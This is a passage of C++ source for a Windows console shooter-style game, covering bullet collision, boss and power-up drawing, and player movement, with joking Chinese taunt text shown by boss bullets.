SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN); if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE); if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED); if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN); if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE); if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); if(a==9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_GREEN|BACKGROUND_BLUE); if(a==10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_RED|BACKGROUND_BLUE); if(a==11) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_BLUE); if(a==12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN); if(a==13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY); if(a==14) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_BLUE); } int Blomax,Ren,Exp,Expmax,Lv,Lvl,Ice,Drug,ar1,ar2,Tar1,Tar2,bl,br,Win,T,Tb,Sy,Up,Upt,Down,u1,u2,Kill,Killb,L,Ll[4],Li,D,Gd[10],Biao,Fire,Fir,fir[4],Water,Thun,Wind,Magne,I[20][2],ib,Dis,Disb,Dis1,Disb1,Boss,Bblo,Bblomax,Bwhat1,Bwhat2,Bwhat3,Bgo1[10],Bgo2[10],Bgo3[10],Bbr,Bbl,Bl[4]; float X,Y,Vx,Vy,Ding,Blo,Hui,Bx1,By1,Bx2,By2,Bx3,By3,Bvx1,Bvy1,Bvx2,Bvy2,Bvx3,Bvy3,Bway[1001][2]; struct bullet { float x,y,vx,vy; int what; int a,t,How; int life; bool kill; } B[100001]; void Map(int a,int b); void Pan(int a,float x,float y,int b) { float Nox[4],Noy[4]; Nox[0]=X,Noy[0]=Y; if(Down==1&&X==22) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5; else if(Down==2) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10; else if(Down==1||X<18) Nox[1]=X-1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10; else Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5; for(int i=0; i<3; i++) { if(a==-1) { if(abs(x-Nox[i])+abs(y-Noy[i])<1.5) { if(B[b].what==-10)Exp+=2; if(B[b].what==-11)Exp+=1; B[b].life=0; if(B[b].life==0&&b==bl) bl++; Map(3,b); break; } } if(a==-2) { if(abs(x-Nox[i])+abs(y-Noy[i])<2.5) { if(B[b].what==-2)Exp+=5,Biao+=5; if(B[b].what==-3)Fire=300,Ice=0,Fir=3; if(B[b].what==-4)Water=200; if(B[b].what==-5) { Wind=70; Ding=28.25; Ice=0; if(Y<Ding-1)Vy=5; else Vy=0; if(Up>=1) Vx=-5; if(Down==2) Vx=5; } if(B[b].what==-6) { Thun=200; system("color 1F"); Sleep(20); system("color 6F"); Sleep(10); system("color 0F"); } if(B[b].what==-7)Magne=300; if(B[b].what==-8)Ice=0,Drug=0,Blo=fmin((float)Blomax,Blo+20); if(B[b].what==-9)Exp=fmin((float)Expmax,Exp+20); B[b].life=0; if(B[b].life==0&&b==bl) bl++; Map(3,b); break; } } } if(Wind==0&&Thun==0&&(B[b].kill!=0||Killb>=15||Ren==1&&Killb>0)) return; for(int i=0; i<3; i++) { if((Wind>=1||Thun>=1)&&abs(x-Nox[i])+abs(y-Noy[i])<2.5) { if(B[b].what<98)Exp+=2; B[b].life=0; Map(3,b); break; } if(a==1) { if(abs(x-Nox[i])<0.5&&abs(y-Noy[i])<1) { if(B[b].what>=99)Blo-=10; if(B[b].what==14)Blo-=15,Ice=100,B[b].life=0; else if(B[b].what==15)Blo-=20,Ice=0,B[b].life=0; else if(B[b].what==17)Blo-=5,Drug=100,B[b].life=0; else if(B[b].what>=13&&B[b].what<=17)Blo-=10,B[b].life=0; else Blo-=15; B[b].kill=1,Killb=20; Kill=1; Map(3,b); break; } } if(a==2||a==6||a==8||a==9||a==10||a==11||a==12) { if(abs(x-Nox[i])+abs(y-Noy[i])<1.5) { if(a==2)Blo-=20; else if(a==8)Blo-=10; else Blo-=15; B[b].kill=1,Killb=20; Kill=1; if(a!=2) { B[b].life=0; if(B[b].life==0&&b==bl) bl++; Map(3,b); break; } } } if(a==4) { if((Wind>=1||Thun>=1)&&abs(x-Nox[i])<1.5&&Noy[i]-y<=0&&Noy[i]-y>=-8) { if(B[b].what<98)Exp+=2; B[b].life=0; Map(3,b); break; } if(abs(x-Nox[i])<1&&Noy[i]-y<=0&&Noy[i]-y>=-8) { Blo-=25,B[b].kill=1,Killb=20; Kill=1; Vy=-1; Y-=0.5; break; } } } } void Map(int a,int b) { Color(0); if(a==-1) { if(Boss==1||Boss==6) { if(Bwhat1==5) { if(ti(Bx1)==20)Setpos(Bx1,By1),cout<<"=="; else Setpos(Bx1,By1),cout<<" "; } else { Setpos(Bx1-1,By1-0.5),cout<<" "; Setpos(Bx1,By1-1),cout<<" "; Setpos(Bx1+1,By1-0.5),cout<<" "; if(abs(ti(Bx1)-20)<=1)Setpos(20,By1-1),cout<<"======"; } } if(Boss==2||Boss==6) { Setpos(Bx2-1,By2-1); cout<<" "; Setpos(Bx2,By2-1); cout<<" "; Setpos(Bx2+1,By2-1),cout<<" "; Color(0); if(abs(ti(Bx2)-20)<=1)Setpos(20,By2-1),cout<<"======"; } if(Boss==3||Boss==6) { Setpos(Bx3-1,By3-0.5); cout<<" "; Setpos(Bx3,By3); cout<<" "; Setpos(Bx3+1,By3-1),cout<<" "; Color(0); if(abs(ti(Bx3)-20)<=1)Setpos(20,By3-1),cout<<"======="; } if(X<0)return; if(X>=17&&X<=19) { Setpos(X-1,Y); cout<<" "; Setpos(X,Y-1); cout<<" "; Setpos(X+1,Y-1),cout<<" "; } else if(X<=23&&X>=21) { Setpos(X+1,Y); cout<<" "; Setpos(X,Y-1); cout<<" "; Setpos(X-1,Y-1),cout<<" "; } else if(X>23) { Setpos(X,Y-1); cout<<" "; Setpos(X-1,Y-0.5),cout<<" "; } else if(X<17&&Upt!=0) { Setpos(X,Y-1); cout<<" "; Setpos(X+1,Y-1.5),cout<<" "; } else if(X<17) { Setpos(X,Y-1); cout<<" "; Setpos(X+1,Y-0.5),cout<<" "; } if(Thun>0) { Setpos(X-2,Y-1),cout<<" "; Setpos(X+2,Y-1),cout<<" "; Setpos(X,Y+2),cout<<" "; Setpos(X,Y-2.5),cout<<" "; Setpos(X-1,Y+1),cout<<" "; Setpos(X+1,Y+1),cout<<" "; Setpos(X-1,Y-2),cout<<" "; Setpos(X+1,Y-2),cout<<" "; Setpos(20,Y-2.5),cout<<"============"; } if(Wind!=0) { Setpos(X+1,Y-5); cout<<" "; Setpos(X,Y-5); cout<<" "; Setpos(X-1,Y-5); cout<<" "; Setpos(20,Y-5),cout<<"========"; } if(Water!=0) { Setpos(X,Y-4); cout<<" "; Setpos(X+2,Y-3.5); cout<<" "; Setpos(X-2,Y-3.5); cout<<" "; Setpos(X+1,Y-3.5); cout<<" "; Setpos(X-1,Y-3.5); cout<<" "; Setpos(20,Y-5),cout<<"========"; } if(Fire!=0) { Setpos(X,Y+1),cout<<" "; Setpos(X+1,Y),cout<<" "; Setpos(X-1,Y-1),cout<<" "; Setpos(20,Y-1); cout<<"======"; } } if(a==0) { if(Boss==1||Boss==6) { if(Bwhat1==5)Color(5),Setpos(Bx1,By1),cout<<"█",Color(0); else if(Bwhat1==4&&Bgo1[1]>6&&Bgo1[1]<11)Color(4),Setpos(Bgo1[5]-1,Bgo1[6]),cout<<"︻",Setpos(Bgo1[5],Bgo1[6]-1),cout<<"【",Setpos(Bgo1[5],Bgo1[6]+1),cout<<"】",Setpos(Bgo1[5]+1,Bgo1[6]),cout<<"︼",Color(0); else { Setpos(Bx1-1,By1-0.5),Color(0),cout<<"●●"; Setpos(Bx1,By1-1); if(Bwhat1==2&&Bgo1[1]<=5)Color(1); else if(Bwhat1==3&&Bgo1[1]<=5)Color(5); else if(Bwhat1==6&&Bgo1[1]<=5)Color(8); else Color(4); if(Bwhat1==4) Setpos(Bx1,By1-0.5),cout<<"██("; else cout<<")██("; Setpos(Bx1+1,By1-0.5),cout<<"……"; Color(0); } } if(Boss==2||Boss==6) { Setpos(Bx2-1,By2-1); Color(0),cout<<"\\ "; Color(0); cout<<"●"; Setpos(Bx2,By2-1); Color(3); cout<<"◥"; Color(5),cout<<"JJJ"; Color(0),cout<<">"; Color(3); Setpos(Bx2+1,By2-1),cout<<"◢█◣"; Color(0); } if(Boss==3||Boss==6) { Setpos(Bx3-1,By3-0.5); if(Bwhat3==3||Bwhat3==9) Color(1); else if(Bwhat3==4||Bwhat3==10) Color(4); else if(Bwhat3==5||Bwhat3==11) Color(5); if(Bwhat3==11)cout<<' '; else if(Bwhat3==6) Color(3); else Color(2); cout<<"●-"; Setpos(Bx3,By3); if(Bwhat3==11)cout<<"/"; else cout<<"┃"; Color(0); Setpos(Bx3+1,By3-1),cout<<"●●●"; } if(X<0)return; if(Ren==2) Color(12); if(Ren==3) Color(1); if(Ren==4) Color(3); if(Ren==5) Color(4); if(Ren==6) Color(2); if(Drug!=0&&T%5!=0) Color(11); if(Drug!=0&&T%5==0) Color(11); if(Ice!=0) Color(6); if(b==1) Color(8); if(Li!=0) Color(5); if(Ren==1&&Killb>0&&T%4<2) Color(13); if(Wind>0&&T%4<=1) Color(1); if(Wind>0&&T%4>=2) Color(0); if(Thun>0&&T%4<=1) Color(1); if(Thun>0&&T%4>=2) Color(6); if(X>=17&&X<=19) { Setpos(X-1,Y); cout<<"●"; Setpos(X,Y-1); cout<<"━/"; if(T%10<3) Setpos(X+1,Y-1),cout<<"┛╲"; else if(T%10<6) Setpos(X+1,Y-1),cout<<"┦ "; else Setpos(X+1,Y-1),cout<<"╯>"; if(Wind>0&&T%3==0) Setpos(X+1,Y-1),cout<<"┛╲"; else if(Wind>0&&T%3==1) Setpos(X+1,Y-1),cout<<"┦ "; else if(Wind>0&&T%3==2)Setpos(X+1,Y-1),cout<<"╯>"; } else if(X<=23&&X>=21) { Setpos(X+1,Y); cout<<"●"; Setpos(X,Y-1); cout<<"━\\"; if(T%10<3) Setpos(X-1,Y-1),cout<<"┓╱"; else if(T%10<6) Setpos(X-1,Y-1),cout<<"┪ "; else Setpos(X-1,Y-1),cout<<"╮>"; if(Wind>0&&T%3==0) Setpos(X-1,Y-1),cout<<"┓╱"; else if(Wind>0&&T%3==1) Setpos(X-1,Y-1),cout<<"┪ "; else if(Wind>0&&T%3==2)Setpos(X-1,Y-1),cout<<"╮>"; } else if(X>23) { Setpos(X,Y-1); cout<<"━ ●"; Setpos(X-1,Y-0.5),cout<<"│>"; } else if(X<17&&Upt!=0) { Setpos(X,Y-1); cout<<"━ ●"; Setpos(X+1,Y-1.5),cout<<"╱ >"; } else if(X<17) { Setpos(X,Y-1); cout<<"━ ●"; Setpos(X+1,Y-0.5),cout<<"│>"; } if(Thun>0) { Setpos(X-2,Y-1),cout<<"▄▄"; Setpos(X+2,Y-1),cout<<"▄▄"; Setpos(X,Y+2),cout<<"▌"; Setpos(X,Y-2.5),cout<<"▌"; Setpos(X-1,Y+1),cout<<"█"; Setpos(X+1,Y+1),cout<<"█"; Setpos(X-1,Y-2),cout<<"█"; Setpos(X+1,Y-2),cout<<"█"; } if(Magne>0&&T%7<2)Setpos(X,Y),Color(5),cout<<"★"; if(Wind>1) { if(T%6<2)Color(1); else Color(0); if(T%8<=1) { Setpos(X+1,Y-5); cout<<"---- --"; Setpos(X,Y-5); cout<<"- --- -"; Setpos(X-1,Y-5); cout<<"--- - --"; } else if(T%8<=3) { Setpos(X+1,Y-5); cout<<"------ "; Setpos(X,Y-5); cout<<" -- ---"; Setpos(X-1,Y-5); cout<<"----- - "; } else if(T%8<=5) { Setpos(X+1,Y-5); cout<<" ------"; Setpos(X,Y-5); cout<<"-- -- -"; Setpos(X-1,Y-5); cout<<"- ----- "; } else if(T%8<=7) { Setpos(X+1,Y-5); cout<<"-- ----"; Setpos(X,Y-5); cout<<" --- -- "; Setpos(X-1,Y-5); cout<<"- - ----"; } } if(Water!=0) { Color(1); if(T%20<5) { Setpos(X+2,Y-3); cout<<"■"; Setpos(X+1,Y-3.5); cout<<"■"; Setpos(X-1,Y-2.5); cout<<"■"; Setpos(X-2,Y-3); cout<<"■"; } else if(T%20<10||T%20>=15) { Setpos(X+2,Y-3); cout<<"■"; Setpos(X,Y-4); cout<<"■■"; Setpos(X-2,Y-3); cout<<"■"; } else if(T%20<15) { Setpos(X+2,Y-3.5); cout<<"■"; Setpos(X+1,Y-3); cout<<"■"; Setpos(X-1,Y-3.5); cout<<"■"; Setpos(X-2,Y-3); cout<<"■"; } } if(Fire!=0) { if(T%6<3)Color(4); else Color(5); if(Fir>=1)Setpos(X,Y+1),cout<<"●"; if(Fir>=2)Setpos(X+1,Y),cout<<"●"; if(Fir>=3)Setpos(X-1,Y-1),cout<<"●"; } } if(a==1||a==3) { if(B[b].what==1) { Nor; Setpos(B[b].x,B[b].y-1); if(ti(B[b].x)==20)cout<<"======"; else cout<<" "; if(B[b].life!=0) { B[b].y-=B[b].vy; Setpos(B[b].x,B[b].y); if(B[b].How<=1) Color(13); else Color(4); cout<<"●"; if(a==1) Pan(1,B[b].x,B[b].y,b); } } if(B[b].what==2) { Nor; Setpos(B[b].x-1,B[b].y-1); if(ti(B[b].x-1)==20)cout<<"======"; else cout<<" "; Setpos(B[b].x,B[b].y-1); if(ti(B[b].x)==20)cout<<"======"; else cout<<" "; Setpos(B[b].x+1,B[b].y-1); if(ti(B[b].x+1)==20)cout<<"======"; else cout<<" "; if(B[b].life!=0) { B[b].y-=B[b].vy; Setpos(B[b].x,B[b].y); Color(5); if(B[b].How==0) { Setpos(B[b].x-1,B[b].y),cout<<"↑"; Setpos(B[b].x,B[b].y-1),cout<<"←┼ →"; Setpos(B[b].x+1,B[b].y),cout<<"↓"; } else if(B[b].How==1) { Setpos(B[b].x-1,B[b].y-1),cout<<"↖ ↗"; Setpos(B[b].x,B[b].y),cout<<"╳"; Setpos(B[b].x+1,B[b].y-1),cout<<"↙ ↘"; } if(a==1) Pan(2,B[b].x,B[b].y,b); } } if(B[b].what==3||B[b].what==5) { Nor; Setpos(B[b].x,B[b].y); if(ti(B[b].x)==20)cout<<"=="; else cout<<" "; if(B[b].life!=0) { B[b].y-=B[b].vy; B[b].x-=B[b].vx; Setpos(B[b].x,B[b].y); if(B[b].How==1) Color(5); else Color(4); cout<<"◎"; } } if(B[b].what==4) { Nor; Setpos(B[b].x,fmax((float)0,B[b].y-8)); if(ti(B[b].x)==20) { for(int i=max(0,(int)B[b].y-8); i<=B[b].y; i++)cout<<"=="; } else { for(int i=max(0,(int)B[b].y-8); i<=B[b].y; i++)cout<<" "; } if(B[b].life!=0) { B[b].y-=B[b].vy; Setpos(B[b].x,fmax((float)0,B[b].y-8)); Color(6); for(int i=max(0,(int)B[b].y-8); i<=B[b].y; i++)cout<<"═"; if(a==1) Pan(4,B[b].x,B[b].y,b); } } if(B[b].what==6||B[b].what==8||B[b].what==9) { Nor; Setpos(B[b].x-1,B[b].y); if(ti(B[b].x)-1==20)cout<<"=="; else cout<<" "; Setpos(B[b].x+1,B[b].y); if(ti(B[b].x)+1==20)cout<<"=="; else cout<<" "; Setpos(B[b].x,B[b].y-1); if(ti(B[b].x)==20)cout<<"======"; else cout<<" "; if(B[b].life!=0) { B[b].y-=B[b].vy; B[b].x-=B[b].vx; Setpos(B[b].x,B[b].y-1); if(B[b].what==6) { if(B[b].How<=1) Color(1); else Color(6); } if(B[b].what==9) { if(B[b].How<=1) Color(4); else Color(8); } if(B[b].what==8)Color(5); Setpos(B[b].x-1,B[b].y); cout<<"︹"; Setpos(B[b].x+1,B[b].y); cout<<"︺"; Setpos(B[b].x,B[b].y-1); if(B[b].How%2==1) cout<<"〔●〕"; else cout<<"﹝○﹞"; if(a==1) Pan(6,B[b].x,B[b].y,b); } } if(B[b].what==7) { Nor; Setpos(B[b].x,B[b].y); if(B[b].How<0) for(int i=19; i>=20+B[b].How; i--) { Setpos(i,B[b].y); cout<<" "; } if(B[b].How>0) for(int i=21; i<=20+B[b].How; i++) { Setpos(i,B[b].y); cout<<" "; } if(B[b].life!=0) { B[b].y-=B[b].vy; if(B[b].How<0) for(int i=19; i>=20+B[b].How; i--) { Setpos(i,B[b].y); cout<<"║"; if(a==1) Pan(7,i,B[b].y,b); } if(B[b].How>0) for(int i=21; i<=20+B[b].How; i++) { Setpos(i,B[b].y); cout<<"║"; if(a==1) Pan(7,i,B[b].y,b); } } } if(B[b].what==10||B[b].what==11||B[b].what==12) { Nor; Setpos(B[b].x,B[b].y); if(ti(B[b].x)==20)cout<<"=="; else cout<<" "; if(B[b].life!=0) { B[b].x-=B[b].vx; B[b].y-=B[b].vy; if(B[b].How==1) { B[b].vy-=0.2; } else B[b].vx-=0.35; if(B[b].x>=25) B[b].x=25,B[b].vx*=-0.8; if(B[b].what==11&&B[b].y<=1) B[b].y=1,B[b].vy*=-1; if(B[b].what==12&&B[b].y<=1) B[b].y=1,B[b].vx=0,B[b].vy=-0.5,B[b].How=1; Setpos(B[b].x,B[b].y); if(B[b].what==11)Color(1); else if(B[b].what==12)Color(5); else Color(0); if(B[b].t%4<2)cout<<"▃"; else cout<<"▍"; if(a==1) Pan(B[b].what,B[b].x,B[b].y,b); } } if(B[b].what>=13&&B[b].what<=17) { Nor; Setpos(B[b].x,B[b].y); if(ti(B[b].x)==20)cout<<"===="; else cout<<" "; if(B[b].life!=0) { B[b].x-=B[b].vx; B[b].y-=B[b].vy; Setpos(B[b].x,B[b].y); if(B[b].what==14) Color(1); else if(B[b].what==15) Color(4); else if(B[b].what==16) Color(5); else if(B[b].what==17) Color(3); else Color(2); cout<<"●"; if(B[b].what==14)cout<<"*"; if(B[b].what==15)cout<<""; if(B[b].what==16)cout<<"<"; if(B[b].what==17)cout<<"X"; } if(a==1) Pan(1,B[b].x,B[b].y,b); } if(B[b].what==98&&B[b].life!=0) { B[b].y-=B[b].vy; Setpos(B[b].x,B[b].y); if(ti(B[b].x==20))cout<<"=="; else cout<<" "; if(B[b].y<=3)B[b].life=0; } if(B[b].what>=99) { if(B[b].y<=3)B[b].life=0; if(B[b].life!=0) { B[b].y-=B[b].vy; Setpos(B[b].x,B[b].y); Color(5); if(B[b].what==99)cout<<"█"; if(B[b].what>=100&&B[b].what<200) { if(B[b].what%5==0)cout<<"胎"; if(B[b].what%5==1)cout<<"神"; if(B[b].what%5==2)cout<<"太"; if(B[b].what%5==3)cout<<"帅"; if(B[b].what%5==4)cout<<"了"; } if(B[b].what>=200&&B[b].what<300) { if(B[b].what%6==0)cout<<"神"; if(B[b].what%6==1)cout<<"级"; if(B[b].what%6==2)cout<<"胎"; if(B[b].what%6==3)cout<<"神"; if(B[b].what%6==4)cout<<"之"; if(B[b].what%6==5)cout<<"光"; } if(B[b].what>=300&&B[b].what<400) { if(B[b].what%8==0)cout<<"颤"; if(B[b].what%8==1)cout<<"抖"; if(B[b].what%8==2)cout<<"吧"; if(B[b].what%8==3)cout<<"无"; if(B[b].what%8==4)cout<<"能"; if(B[b].what%8==5)cout<<"的"; if(B[b].what%8==6)cout<<"人"; if(B[b].what%8==7)cout<<"类"; } if(B[b].what>=400&&B[b].what<500) { if(B[b].what%8==0)cout<<"还"; if(B[b].what%8==1)cout<<"不"; if(B[b].what%8==2)cout<<"快"; if(B[b].what%8==3)cout<<"跪"; if(B[b].what%8==4)cout<<"倒"; if(B[b].what%8==5)cout<<"在"; if(B[b].what%8==6)cout<<"朕"; if(B[b].what%8==7)cout<<"前"; } if(B[b].what>=500&&B[b].what<600) { if(B[b].what%8==0)cout<<"看"; if(B[b].what%8==1)cout<<"懂"; if(B[b].what%8==2)cout<<"这"; if(B[b].what%8==3)cout<<"句"; if(B[b].what%8==4)cout<<"话"; if(B[b].what%8==5)cout<<"的"; if(B[b].what%8==6)cout<<"是"; if(B[b].what%8==7)cout<<"猪"; } if(a==1) Pan(1,B[b].x,B[b].y,b); } } if(B[b].what==-1) { Nor; Setpos(B[b].x,B[b].y); if(ti(B[b].x)==20)cout<<"=="; else cout<<" "; if(Boss==0) B[b].life=0; else if(((Boss==1&&abs(B[b].x-Bx1)+abs(B[b].y-By1)<1.5)||(Boss==2&&abs(B[b].x-Bx2)+abs(B[b].y-By2)<1.5)||(Boss==3&&abs(B[b].x-Bx3)+abs(B[b].y-By3)<1.5)||(B[b].t==10))&&B[b].life==1) Bblo-=8+Lv*2,B[b].life=0; if(B[b].life!=0) { if(Boss==1)B[b].x=B[b].x+(Bx1-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By1-B[b].y)/(10-B[b].t)*1.0; if(Boss==2)B[b].x=B[b].x+(Bx2-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By2-B[b].y)/(10-B[b].t)*1.0; if(Boss==3)B[b].x=B[b].x+(Bx3-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By3-B[b].y)/(10-B[b].t)*1.0; Setpos(B[b].x,B[b].y); Color(7); if(B[b].t%2==0) cout<<"+"; else cout<<"×"; } } if(B[b].what<=-2&&B[b].what>=-9) { Nor; Setpos(B[b].x-1,B[b].y); if(ti(B[b].x)-1==20)cout<<"=="; else cout<<" "; Setpos(B[b].x+1,B[b].y); if(ti(B[b].x)+1==20)cout<<"=="; else cout<<" "; Setpos(B[b].x,B[b].y-1); if(ti(B[b].x)==20)cout<<"======"; else cout<<" "; if(B[b].life!=0) { B[b].y-=B[b].vy; B[b].x-=B[b].vx; if(B[b].what<=-3&&B[b].what>=-7) { if(B[b].x<=7)B[b].x=7; if(B[b].x>=28)B[b].x=28; else if(B[b].x>=B[b].a+1&&B[b].How==1)B[b].How=0; else if(B[b].x<=B[b].a-1&&B[b].How==0)B[b].How=1; if(B[b].How==1&&B[b].vx>=-1)B[b].vx-=0.2; if(B[b].How==0&&B[b].vx<=1)B[b].vx+=0.2; } if(B[b].what==-2) Color(3); if(B[b].what==-3) Color(4); if(B[b].what==-4) Color(1); if(B[b].what==-5) Color(0); if(B[b].what==-6) Color(6); if(B[b].what==-7) Color(5); if(B[b].what==-8) Color(2); if(B[b].what==-9) Color(14); if(T%7<=1&&B[b].what==-5)Color(1); else if(T%7<=1)Color(0); Setpos(B[b].x-1,B[b].y); cout<<"︹"; Setpos(B[b].x+1,B[b].y); cout<<"︺"; Setpos(B[b].x,B[b].y-1); if(B[b].what==-2) cout<<"﹝镖﹞"; if(B[b].what==-3) cout<<"﹝火﹞"; if(B[b].what==-4) cout<<"﹝水﹞"; if(B[b].what==-5) cout<<"﹝风﹞"; if(B[b].what==-6) cout<<"﹝雷﹞"; if(B[b].what==-7) cout<<"﹝磁﹞"; if(B[b].what==-8) cout<<"﹝血﹞"; if(B[b].what==-9) cout<<"﹝忍﹞"; if(a==1) Pan(-2,B[b].x,B[b].y,b); } } if(B[b].what==-11||B[b].what==-12) { Nor; Setpos(B[b].x,B[b].y); if(ti(B[b].x)==20)cout<<"=="; else cout<<" "; if(B[b].life!=0) { if(Magne>0)B[b].How++,B[b].x=B[b].x+(X-B[b].x)/(10-B[b].How)*1.0,B[b].y=B[b].y+(Y-B[b].y)/(10-B[b].How)*1.0; B[b].y-=B[b].vy; Setpos(B[b].x,B[b].y); if(B[b].what==-10) Color(5); if(B[b].what==-11) Color(7); if(T%7<=1)Color(0); cout<<"◆"; if(a==1) Pan(-1,B[b].x,B[b].y,b); } } if(B[b].what==-13) { Nor; Setpos(B[b].x,B[b].y-0.5); if(ti(B[b].x)==20)cout<<"==="; else cout<<" "; if(B[b].life!=0) { if(B[b].a==13880086) { if(Boss==0) B[b].life=0; else if(((Boss==1&&abs(B[b].x-Bx1)+abs(B[b].y-By1)<1.5)||(Boss==2&&abs(B[b].x-Bx2)+abs(B[b].y-By2)<1.5)||(Boss==3&&abs(B[b].x-Bx3)+abs(B[b].y-By3)<1.5)||(B[b].t==5))&&B[b].life==1) Bblo-=8+Lv*2,B[b].life=0; if(B[b].life!=0) { if(Boss==1)B[b].x=B[b].x+(Bx1-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By1-B[b].y)/(5-B[b].t)*1.0; if(Boss==2)B[b].x=B[b].x+(Bx2-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By2-B[b].y)/(5-B[b].t)*1.0; if(Boss==3)B[b].x=B[b].x+(Bx3-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By3-B[b].y)/(5-B[b].t)*1.0; } } else { if(B[B[b].a].life==0) B[b].life=0; else if((abs(B[b].x-B[B[b].a].x)+abs(B[b].y-B[B[b].a].y)<1.5||(B[b].t==5))&&B[b].life==1) Exp+=2,B[B[b].a].life=B[b].life=0; if(B[b].life!=0) { B[b].x=B[b].x+(B[B[b].a].x-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(B[B[b].a].y-B[b].y)/(5-B[b].t)*1.0; } } Setpos(B[b].x,B[b].y-0.5); if(T%6<3)Color(5); else Color(4); cout<<"●"; } } } if(br<bl) { br=-1,bl=0; memset(B,0,sizeof(B)); } Color(0); } void Move() { if(X<3) X=3; if(Y<1) Y=1,Vy=0; if(Y>29) Y=29,Vy=0; if(Ice!=0) { X-=Vx/2.0; Y+=Vy/2.0; Vy=fmax(Vy-0.025,(float)0); if(T%6==0&&Up==0&&Y<Ding) Y+=0.25; if(T%6==3&&Up==0&&Y>=Ding) Y-=0.25; if(Up==0&&Y<=Ding-1.25) Vy=0.25; if(Up==0&&Y>=Ding+1.25&&Wind==0) Vy=-0.25; if(Up==0&&Down==0&&Vx>0&&X<=18) Up=0,Down=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"=========="; else if(Down==2&&X<=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"=========="; else if(Up==0&&Down==1&&Vx<0&&X>=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"=========="; else if(Up>0&&Down==0&&X>18) Up=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"=========="; else if(Down==2) Vx+=0.175; else if(Up>0&&Upt==0) Vx-=0.175; else if(Up>0&&Upt>0) { Vx=fmax(Vx-0.125,(float)0); if(Upt==1&&T%2==0)Map(-1,0); if(T%2==0)Upt--; } } else { X-=Vx; Y+=Vy; Vy=fmax(Vy-0.05,(float)0); if(Wind==0) { if(T%6==0&&Up==0&&Y<Ding) Y+=0.5; if(T%6==3&&Up==0&&Y>=Ding) Y-=0.5; } else { if(T%2==0&&Up==0&&Y<Ding) Y+=0.5; if(T%2==1&&Up==0&&Y>=Ding) Y-=0.5; } if(Up==0&&Y<=Ding-1.25) Vy=0.5; if(Up==0&&Y>=Ding+1.25&&Wind==0) Vy=-0.5; if(Up==0&&Down==0&&Vx>0&&X<=18) Up=0,Down=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"=========="; else if(Down==2&&X<=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"=========="; else if(Up==0&&Down==1&&Vx<0&&X>=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"=========="; else if(Up>0&&Down==0&&X>18) Up=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"=========="; else if(Down==2) Vx+=0.35; else if(Up>0&&Upt==0) Vx-=0.35; else if(Up>0&&Upt>0) { Vx=fmax(Vx-0.25,(float)0); if(Upt==1)Map(-1,0); Upt--; } } for(int i=bl; i<=br; i++) { if(B[i].what<98)if(B[i].x-B[i].vx<=5||B[i].x-B[i].vx>=30||B[i].y-B[i].vy<=0||B[i].y-B[i].vy>=30) { B[i].life=0; Map(1,i); } for(int j=0; j<20; j++)if(B[i].what>0&&B[i].life!=0&&abs(B[i].x-I[j][0])<2&&B[i].y-I[j][1]<=2) { Setpos(I[j][0],I[j][1]); if(I[j][0]==20) cout<<"==="; else cout<<" "; I[j][0]=I[j][1]=-1; B[i].life=0; Exp+=2; } if(B[i].t>=100)B[i].life=0; if(B[i].life==0&&i==bl) bl++; Map(1,i); if(B[i].life==0) continue; else { B[i].t++; if(B[i].what==1) { if(B[i].y<=25&&B[i].How==0) 